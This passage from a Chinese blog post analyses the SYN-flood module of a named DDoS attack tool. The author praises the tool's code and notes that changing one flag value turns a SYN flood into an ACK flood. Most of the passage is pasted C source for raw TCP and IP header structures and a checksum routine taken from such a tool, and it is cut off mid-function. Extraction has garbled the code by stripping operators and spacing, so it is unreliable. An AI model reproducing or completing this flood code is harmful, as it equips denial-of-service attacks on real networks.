1、【原创】对现有的所能找到的DDOS代码(攻击模块)做出一次分析-SYN篇作者:alalmn时间:-10-04,02:03链接:http:/BLOG:http:/flood(SYN洪水攻击)介绍http:/=2;/0,2,4,8,16,32-FIN,SYN,RST,PSH,ACK,URG/SYN标志我们可以不可以改变这个值2是SYN攻击改成16变成ACK攻击这样可以吗我刚才还在想这个问题暴风DDOSVIP-225源代码.h源码里就已经写到了呵呵爽啊暴风DDOSVIP-225源代码.hSYN(流量)我觉得写得非常好真的个人看法QQ:/=冷风的.htypedefstructtcphdr/定义TCP首部USHORTth_sport;/16位源端口USHORTth_dport;/16位目的端口unsignedintth_seq;/32位序列号unsignedintth_ack;/32位确认号unsignedcharth_lenres;/4位首部长度 6位保留字中的4位unsigned
2、charth_flag;/2位保留字 6位标志位USHORTth_win;/16位窗口大小USHORTth_sum;/16位校验和USHORTth_urp;/16位紧急数据偏移量TCP_HEADER;typedefstruct_iphdr/ip头unsignedcharh_verlen;/4位首部长度 4位IP版本号unsignedchartos;/8位服务类型TOSunsignedshorttotal_len;/16位总长度(字节)unsignedshortident;/16位标识unsignedshortfrag_and_flags;/3位标志位unsignedcharttl;/8位生存时间TTLunsignedcharproto;/8位协议号(TCP,UDP或其他)unsignedshortchecksum;/16位IP首部校验和unsignedintsourceIP;/32位源IP地址unsignedintdestIP;/32位目的IP地址IP_HEADER;typed
3、efstructtsd_hdr/定义TCP伪首部unsignedlongsaddr;/源地址unsignedlongdaddr;/目的地址charmbz;charptcl;/协议类型unsignedshorttcpl;/TCP长度PSD_HEADER;/计算校验和USHORTchecksum(USHORT*buffer,intsize)unsignedlongcksum=0;while(size1)cksum =*buffer ;size-=sizeof(USHORT);if(size)cksum =*(UCHAR*)buffer;cksum=(cksum16) (cksum